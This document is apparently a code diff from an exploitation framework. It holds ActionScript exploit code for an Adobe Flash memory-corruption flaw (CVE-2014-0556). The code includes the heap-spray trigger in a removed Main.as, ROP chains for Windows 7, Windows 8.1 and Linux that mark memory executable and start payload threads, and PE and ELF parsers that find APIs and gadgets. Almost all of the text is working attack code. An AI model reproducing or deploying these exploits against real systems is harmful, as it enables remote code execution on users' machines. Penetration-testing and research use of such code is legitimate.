||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 0x1c, buffer) // *array
|
||||||
|
ev.write(buffer_object + 0x20, 1024) // capacity
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 8, buffer) // *array
|
||||||
|
ev.write(buffer_object + 16, 1024) // capacity
|
||||||
|
}
|
||||||
|
eba.set_length(eba.original_length)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop()")
|
||||||
|
if (platform == "linux") {
|
||||||
|
do_rop_linux()
|
||||||
|
} else if (platform == "win") {
|
||||||
|
if (op_system == "Windows 8.1") {
|
||||||
|
do_rop_windows8()
|
||||||
|
} else if (op_system == "Windows 7") {
|
||||||
|
do_rop_windows()
|
||||||
|
} else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_windows():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_windows()")
|
||||||
|
var pe:PE = new PE(eba)
|
||||||
|
var flash:uint = pe.base(vtable)
|
||||||
|
var winmm:uint = pe.module("winmm.dll", flash)
|
||||||
|
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||||
|
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||||
|
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
|
||||||
|
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
|
||||||
|
var createthread:uint = pe.procedure("CreateThread", kernel32)
|
||||||
|
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||||
|
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||||
|
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||||
|
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||||
|
|
||||||
|
// Put the payload (command) in memory
|
||||||
|
eba.write(payload_address + 8, payload, true); // payload
|
||||||
|
|
||||||
|
// Put the fake vtabe / stack on memory
|
||||||
|
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||||
|
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||||
|
eba.write(0, virtualprotect)
|
||||||
|
|
||||||
|
// VirtualProtect
|
||||||
|
eba.write(0, virtualalloc)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
eba.write(0, 0x1000)
|
||||||
|
eba.write(0, 0x40)
|
||||||
|
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||||
|
|
||||||
|
// VirtualAlloc
|
||||||
|
eba.write(0, memcpy)
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, 0x4000)
|
||||||
|
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||||
|
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||||
|
|
||||||
|
// memcpy
|
||||||
|
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, payload_address + 8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// CreateThread
|
||||||
|
eba.write(0, createthread)
|
||||||
|
eba.write(0, buffer + 0x10) // return to fix things
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
|
||||||
|
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||||
|
exploit.toString() // call method in the fake vtable
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_windows8():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_windows8()")
|
||||||
|
var pe:PE = new PE(eba)
|
||||||
|
var flash:uint = pe.base(vtable)
|
||||||
|
var winmm:uint = pe.module("winmm.dll", flash)
|
||||||
|
var advapi32:uint = pe.module("advapi32.dll", flash)
|
||||||
|
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
|
||||||
|
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||||
|
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||||
|
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
|
||||||
|
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
|
||||||
|
var createthread:uint = pe.procedure("CreateThread", kernelbase)
|
||||||
|
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||||
|
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||||
|
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||||
|
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||||
|
|
||||||
|
// Put the payload (command) in memory
|
||||||
|
eba.write(payload_address + 8, payload, true); // payload
|
||||||
|
|
||||||
|
// Put the fake vtabe / stack on memory
|
||||||
|
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||||
|
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||||
|
eba.write(0, virtualprotect)
|
||||||
|
|
||||||
|
// VirtualProtect
|
||||||
|
eba.write(0, virtualalloc)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
eba.write(0, 0x1000)
|
||||||
|
eba.write(0, 0x40)
|
||||||
|
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||||
|
|
||||||
|
// VirtualAlloc
|
||||||
|
eba.write(0, memcpy)
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, 0x4000)
|
||||||
|
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||||
|
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||||
|
|
||||||
|
// memcpy
|
||||||
|
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, payload_address + 8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// CreateThread
|
||||||
|
eba.write(0, createthread)
|
||||||
|
eba.write(0, buffer + 0x10) // return to fix things
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
|
||||||
|
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||||
|
exploit.toString() // call method in the fake vtable
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_linux():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_linux()")
|
||||||
|
var flash:Elf = new Elf(eba, vtable)
|
||||||
|
var feof:uint = flash.external_symbol('feof')
|
||||||
|
var libc:Elf = new Elf(eba, feof)
|
||||||
|
var popen:uint = libc.symbol("popen")
|
||||||
|
var mprotect:uint = libc.symbol("mprotect")
|
||||||
|
var mmap:uint = libc.symbol("mmap")
|
||||||
|
var clone:uint = libc.symbol("clone")
|
||||||
|
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
|
||||||
|
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
|
||||||
|
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
// 1) Recover original vtable
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
// 2) Recover original stack
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
|
||||||
|
|
||||||
|
// my_memcpy
|
||||||
|
eba.write(buffer + 0x60, "\x56", false) // push esi
|
||||||
|
eba.write(0, "\x57", false) // push edi
|
||||||
|
eba.write(0, "\x51", false) // push ecx
|
||||||
|
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
|
||||||
|
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
|
||||||
|
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
|
||||||
|
eba.write(0, "\xF3\xA4", false) // rep movsb
|
||||||
|
eba.write(0, "\x59", false) // pop ecx
|
||||||
|
eba.write(0, "\x5f", false) // pop edi
|
||||||
|
eba.write(0, "\x5e", false) // pop esi
|
||||||
|
eba.write(0, "\xc3", false) // ret
|
||||||
|
|
||||||
|
// Put the popen parameters in memory
|
||||||
|
eba.write(payload_address + 0x8, payload, true) // false
|
||||||
|
|
||||||
|
// Put the fake stack/vtable on memory
|
||||||
|
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
|
||||||
|
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
|
||||||
|
|
||||||
|
// Return to mprotect()
|
||||||
|
eba.write(stack_address + 0x18034, mprotect)
|
||||||
|
// Return to stackpivot (jmp over mprotect parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mprotect() arguments
|
||||||
|
eba.write(0, buffer) // addr
|
||||||
|
eba.write(0, 0x1000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
|
||||||
|
// Return to mmap()
|
||||||
|
eba.write(stack_address + 0x18068, mmap)
|
||||||
|
// Return to stackpivot (jmp over mmap parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mmap() code segment arguments
|
||||||
|
eba.write(0, 0x70000000) // 0x70000000
|
||||||
|
eba.write(0, 0x4000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
eba.write(0, 0xffffffff) // filedes
|
||||||
|
eba.write(0, 0) // offset
|
||||||
|
|
||||||
|
// Return to mmap()
|
||||||
|
eba.write(stack_address + 0x1809c, mmap)
|
||||||
|
// Return to stackpivot (jmp over mmap parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// mmap() stack segment arguments
|
||||||
|
eba.write(0, 0x70008000) // NULL
|
||||||
|
eba.write(0, 0x10000) // size
|
||||||
|
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||||
|
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
eba.write(0, -1) // filedes
|
||||||
|
eba.write(0, 0) // offset
|
||||||
|
|
||||||
|
// Return to memcpy()
|
||||||
|
eba.write(stack_address + 0x180d0, buffer + 0x60)
|
||||||
|
// Return to stackpivot (jmp over memcpy parameters)
|
||||||
|
eba.write(0, addesp2cret)
|
||||||
|
// memcpy() parameters
|
||||||
|
eba.write(0, 0x70000000)
|
||||||
|
eba.write(0, payload_address + 0x8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// Return to clone()
|
||||||
|
eba.write(stack_address + 0x18104, clone)
|
||||||
|
// Return to CoE (fix stack and object vtable)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
// clone() arguments
|
||||||
|
eba.write(0, 0x70000000) // code
|
||||||
|
eba.write(0, 0x7000bff0) // stack
|
||||||
|
eba.write(0, 0x00000100) // flags CLONE_VM
|
||||||
|
eba.write(0, 0) // args
|
||||||
|
|
||||||
|
//call DWORD PTR [eax+0x24]
|
||||||
|
//EAX: 0x41414141 ('AAAA')
|
||||||
|
//EDI: 0xad857088 ("AAAA\377")
|
||||||
|
eba.write(main, stack_address + 0x18000)
|
||||||
|
exploit.hasOwnProperty('msf')
|
||||||
|
}
|
||||||
|
|
||||||
|
private function cleanup():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - cleanup()")
|
||||||
|
spray = null
|
||||||
|
stack = null
|
||||||
|
payload_space = null
|
||||||
|
eba = null
|
||||||
|
ev = null
|
||||||
|
exploit = null
|
||||||
|
System.pauseForGCIfCollectionImminent(0)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,32 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.external.ExternalInterface
|
||||||
|
|
||||||
|
public class Logger {
|
||||||
|
private static const DEBUG:uint = 0
|
||||||
|
|
||||||
|
public static function alert(msg:String):void
|
||||||
|
{
|
||||||
|
var str:String = "";
|
||||||
|
|
||||||
|
if (DEBUG == 1)
|
||||||
|
str += msg;
|
||||||
|
|
||||||
|
if(ExternalInterface.available){
|
||||||
|
ExternalInterface.call("alert", str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static function log(msg:String):void
|
||||||
|
{
|
||||||
|
var str:String = "";
|
||||||
|
|
||||||
|
if (DEBUG == 1)
|
||||||
|
str += msg;
|
||||||
|
|
||||||
|
if(ExternalInterface.available){
|
||||||
|
ExternalInterface.call("console.log", str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -1,185 +0,0 @@
|
||||||
// Build how to:
|
|
||||||
// 1. Download the AIRSDK, and use its compiler.
|
|
||||||
// 2. Download the Flex SDK (4.6)
|
|
||||||
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
|
||||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
|
||||||
// 4. Build with: mxmlc -o msf.swf Main.as
|
|
||||||
|
|
||||||
// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/
|
|
||||||
// Modified to be used from msf
|
|
||||||
|
|
||||||
package
|
|
||||||
{
|
|
||||||
import flash.display.Sprite
|
|
||||||
import flash.display.BitmapData
|
|
||||||
import flash.geom.Rectangle
|
|
||||||
import flash.utils.ByteArray
|
|
||||||
import flash.display.LoaderInfo
|
|
||||||
import mx.utils.Base64Decoder
|
|
||||||
|
|
||||||
public class Main extends Sprite
|
|
||||||
{
|
|
||||||
private var bv:Vector.<ByteArray> = new Vector.<ByteArray>(12800)
|
|
||||||
private var uv:Vector.<Object> = new Vector.<Object>(12800)
|
|
||||||
private var bd:BitmapData = new BitmapData(128, 16)
|
|
||||||
private var i:uint = 0
|
|
||||||
|
|
||||||
public function Main()
|
|
||||||
{
|
|
||||||
var b64:Base64Decoder = new Base64Decoder()
|
|
||||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
|
||||||
var pattern:RegExp = / /g;
|
|
||||||
b64_payload = b64_payload.replace(pattern, "+")
|
|
||||||
b64.decode(b64_payload)
|
|
||||||
var payload:String = b64.toByteArray().toString()
|
|
||||||
|
|
||||||
for (i = 0; i < bv.length; i++) {
|
|
||||||
bv[i] = new ByteArray()
|
|
||||||
bv[i].length = 0x2000
|
|
||||||
bv[i].position = 0xFFFFF000
|
|
||||||
}
|
|
||||||
|
|
||||||
for (i = 0; i < bv.length; i++)
|
|
||||||
if (i % 2 == 0) bv[i] = null
|
|
||||||
|
|
||||||
for (i = 0; i < uv.length; i++) {
|
|
||||||
uv[i] = new Vector.<uint>(1022)
|
|
||||||
}
|
|
||||||
|
|
||||||
bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401])
|
|
||||||
|
|
||||||
for (i = 0; ; i++)
|
|
||||||
if (uv[i].length == 0xffffffff) break
|
|
||||||
|
|
||||||
for (var i2:uint = 1; i2 < uv.length; i2++) {
|
|
||||||
if (i == i2) continue
|
|
||||||
uv[i2] = new Vector.<Object>(1014)
|
|
||||||
uv[i2][0] = bv[6401]
|
|
||||||
uv[i2][1] = this
|
|
||||||
}
|
|
||||||
|
|
||||||
uv[i][0] = uv[i][0xfffffc03] - 0x18 + 0x1000
|
|
||||||
bv[6401].endian = "littleEndian"
|
|
||||||
bv[6401].length = 0x500000
|
|
||||||
var buffer:uint = vector_read(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) + 0x100000
|
|
||||||
var main:uint = uv[i][0xfffffc09] - 1
|
|
||||||
var vtable:uint = vector_read(main)
|
|
||||||
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8)
|
|
||||||
vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 16, 0xffffffff)
|
|
||||||
byte_write(uv[i][0] + 4, byte_read(uv[i][0] - 0x1000 + 8))
|
|
||||||
byte_write(uv[i][0])
|
|
||||||
|
|
||||||
var flash:uint = base(vtable)
|
|
||||||
var winmm:uint = module("winmm.dll", flash)
|
|
||||||
var kernel32:uint = module("kernel32.dll", winmm)
|
|
||||||
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
|
||||||
var winexec:uint = procedure("WinExec", kernel32)
|
|
||||||
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
|
||||||
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
|
||||||
|
|
||||||
byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
|
||||||
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
|
||||||
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
|
||||||
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
|
||||||
|
|
||||||
byte_write(buffer + 0x100, payload, true)
|
|
||||||
byte_write(buffer + 0x20070, xchgeaxespret)
|
|
||||||
byte_write(buffer + 0x20000, xchgeaxesiret)
|
|
||||||
byte_write(0, virtualprotect)
|
|
||||||
|
|
||||||
// VirtualProtect
|
|
||||||
byte_write(0, winexec)
|
|
||||||
byte_write(0, buffer + 0x30000)
|
|
||||||
byte_write(0, 0x1000)
|
|
||||||
byte_write(0, 0x40)
|
|
||||||
byte_write(0, buffer + 0x80)
|
|
||||||
|
|
||||||
// WinExec
|
|
||||||
byte_write(0, buffer + 0x30000)
|
|
||||||
byte_write(0, buffer + 0x100)
|
|
||||||
byte_write(0)
|
|
||||||
|
|
||||||
byte_write(main, buffer + 0x20000)
|
|
||||||
this.toString()
|
|
||||||
}
|
|
||||||
|
|
||||||
private function vector_write(addr:uint, value:uint = 0):void
|
|
||||||
{
|
|
||||||
addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] = value : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] = value
|
|
||||||
}
|
|
||||||
|
|
||||||
private function vector_read(addr:uint):uint
|
|
||||||
{
|
|
||||||
return addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1]
|
|
||||||
}
|
|
||||||
|
|
||||||
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
|
||||||
{
|
|
||||||
if (addr) bv[6401].position = addr
|
|
||||||
if (value is String) {
|
|
||||||
for (var i:uint; i < value.length; i++) bv[6401].writeByte(value.charCodeAt(i))
|
|
||||||
if (zero) bv[6401].writeByte(0)
|
|
||||||
} else bv[6401].writeUnsignedInt(value)
|
|
||||||
}
|
|
||||||
|
|
||||||
private function byte_read(addr:uint, type:String = "dword"):uint
|
|
||||||
{
|
|
||||||
bv[6401].position = addr
|
|
||||||
switch(type) {
|
|
||||||
case "dword":
|
|
||||||
return bv[6401].readUnsignedInt()
|
|
||||||
case "word":
|
|
||||||
return bv[6401].readUnsignedShort()
|
|
||||||
case "byte":
|
|
||||||
return bv[6401].readUnsignedByte()
|
|
||||||
}
|
|
||||||
return 0
|
|
||||||
}
|
|
||||||
|
|
||||||
private function base(addr:uint):uint
|
|
||||||
{
|
|
||||||
addr &= 0xffff0000
|
|
||||||
while (true) {
|
|
||||||
if (byte_read(addr) == 0x00905a4d) return addr
|
|
||||||
addr -= 0x10000
|
|
||||||
}
|
|
||||||
return 0
|
|
||||||
}
|
|
||||||
|
|
||||||
private function module(name:String, addr:uint):uint
|
|
||||||
{
|
|
||||||
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
|
|
||||||
while (true) {
|
|
||||||
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
|
||||||
if (!entry) throw new Error("FAIL!");
|
|
||||||
bv[6401].position = addr + entry
|
|
||||||
if (bv[6401].readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
|
|
||||||
}
|
|
||||||
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
|
|
||||||
}
|
|
||||||
|
|
||||||
private function procedure(name:String, addr:uint):uint
|
|
||||||
{
|
|
||||||
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
|
||||||
var numberOfNames:uint = byte_read(eat + 0x18)
|
|
||||||
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
|
||||||
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
|
||||||
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
|
||||||
for (var i:uint = 0; ; i++) {
|
|
||||||
var entry:uint = byte_read(addressOfNames + i * 4)
|
|
||||||
bv[6401].position = addr + entry
|
|
||||||
if (bv[6401].readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
|
||||||
}
|
|
||||||
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
|
||||||
}
|
|
||||||
|
|
||||||
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
|
||||||
{
|
|
||||||
var find:uint = 0
|
|
||||||
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
|
||||||
var value:uint = parseInt(gadget, 16)
|
|
||||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
|
||||||
return addr + i
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -0,0 +1,72 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class PE
|
||||||
|
{
|
||||||
|
private var eba:ExploitByteArray
|
||||||
|
|
||||||
|
public function PE(ba:ExploitByteArray)
|
||||||
|
{
|
||||||
|
eba = ba
|
||||||
|
}
|
||||||
|
|
||||||
|
public function base(addr:uint):uint
|
||||||
|
{
|
||||||
|
addr &= 0xffff0000
|
||||||
|
while (true) {
|
||||||
|
if (eba.read(addr) == 0x00905a4d) return addr
|
||||||
|
addr -= 0x10000
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
public function module(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
|
||||||
|
var mod_name:String
|
||||||
|
|
||||||
|
while (true) {
|
||||||
|
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
|
||||||
|
if (!entry) throw new Error("FAIL!");
|
||||||
|
mod_name = eba.read_string(addr + entry, name.length)
|
||||||
|
if (mod_name.toUpperCase() == name.toUpperCase()) break
|
||||||
|
}
|
||||||
|
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
|
||||||
|
}
|
||||||
|
|
||||||
|
public function procedure(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
|
||||||
|
var numberOfNames:uint = eba.read(eat + 0x18)
|
||||||
|
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
|
||||||
|
var addressOfNames:uint = addr + eba.read(eat + 0x20)
|
||||||
|
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
|
||||||
|
var proc_name:String
|
||||||
|
|
||||||
|
for (var i:uint = 0; ; i++) {
|
||||||
|
var entry:uint = eba.read(addressOfNames + i * 4)
|
||||||
|
proc_name = eba.read_string(addr + entry, name.length + 2)
|
||||||
|
if (proc_name.toUpperCase() == name.toUpperCase()) break
|
||||||
|
}
|
||||||
|
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||||
|
}
|
||||||
|
|
||||||
|
public function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||||
|
{
|
||||||
|
var find:uint = 0
|
||||||
|
var contents:uint = 0
|
||||||
|
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
|
||||||
|
var value:uint = parseInt(gadget, 16)
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < limit - 4; i++) {
|
||||||
|
contents = eba.read(addr + i)
|
||||||
|
if (hint == 0xffffffff && value == contents) {
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,235 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class Elf
|
||||||
|
{
|
||||||
|
private const PT_DYNAMIC:uint = 2
|
||||||
|
private const PT_LOAD:uint = 1
|
||||||
|
private const PT_READ_EXEC:uint = 5
|
||||||
|
private const DT_SYMTAB:uint = 6
|
||||||
|
private const DT_STRTAB:uint = 5
|
||||||
|
private const DT_PLTGOT:uint = 3
|
||||||
|
|
||||||
|
private var e_ba:ExploitByteArray
|
||||||
|
// elf base address
|
||||||
|
public var base:uint = 0
|
||||||
|
// program header address
|
||||||
|
public var ph:uint = 0
|
||||||
|
// number of program headers
|
||||||
|
public var ph_size:uint = 0
|
||||||
|
// program header entry size
|
||||||
|
public var ph_esize:uint = 0
|
||||||
|
// DYNAMIC segment address
|
||||||
|
public var seg_dynamic:uint = 0
|
||||||
|
// DYNAMIC segment size
|
||||||
|
public var seg_dynamic_size:uint = 0
|
||||||
|
// CODE segment address
|
||||||
|
public var seg_exec:uint = 0
|
||||||
|
// CODE segment size
|
||||||
|
public var seg_exec_size:uint = 0
|
||||||
|
// .dynsyn section address
|
||||||
|
public var sec_dynsym:uint = 0
|
||||||
|
// .synstr section address
|
||||||
|
public var sec_dynstr:uint = 0
|
||||||
|
// .got.plt section address
|
||||||
|
public var sec_got_plt:uint = 0
|
||||||
|
|
||||||
|
public function Elf(ba:ExploitByteArray, addr:uint)
|
||||||
|
{
|
||||||
|
e_ba = ba
|
||||||
|
set_base(addr)
|
||||||
|
set_program_header()
|
||||||
|
set_program_header_size()
|
||||||
|
set_program_header_entry_size()
|
||||||
|
set_dynamic_segment()
|
||||||
|
set_exec_segment()
|
||||||
|
set_dynsym()
|
||||||
|
set_dynstr()
|
||||||
|
set_got_plt()
|
||||||
|
}
|
||||||
|
|
||||||
|
public function external_symbol(name:String):uint {
|
||||||
|
var entry:uint = 0
|
||||||
|
var st_name:uint = 0
|
||||||
|
var st_value:uint = 0
|
||||||
|
var st_size:uint = 0
|
||||||
|
var st_info:uint = 0
|
||||||
|
var st_other:uint = 0
|
||||||
|
var st_shndx:uint = 0
|
||||||
|
var st_string:String = ""
|
||||||
|
var got_plt_index:uint = 0
|
||||||
|
|
||||||
|
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
|
||||||
|
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||||
|
st_name = e_ba.read(entry)
|
||||||
|
st_value = e_ba.read(entry + 4)
|
||||||
|
st_info = e_ba.read(entry + 0xc, "byte")
|
||||||
|
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||||
|
if (st_string == name) {
|
||||||
|
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
|
||||||
|
}
|
||||||
|
if (st_info != 0x11) {
|
||||||
|
got_plt_index++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
public function symbol(name:String):uint {
|
||||||
|
var entry:uint = 0
|
||||||
|
var st_name:uint = 0
|
||||||
|
var st_value:uint = 0
|
||||||
|
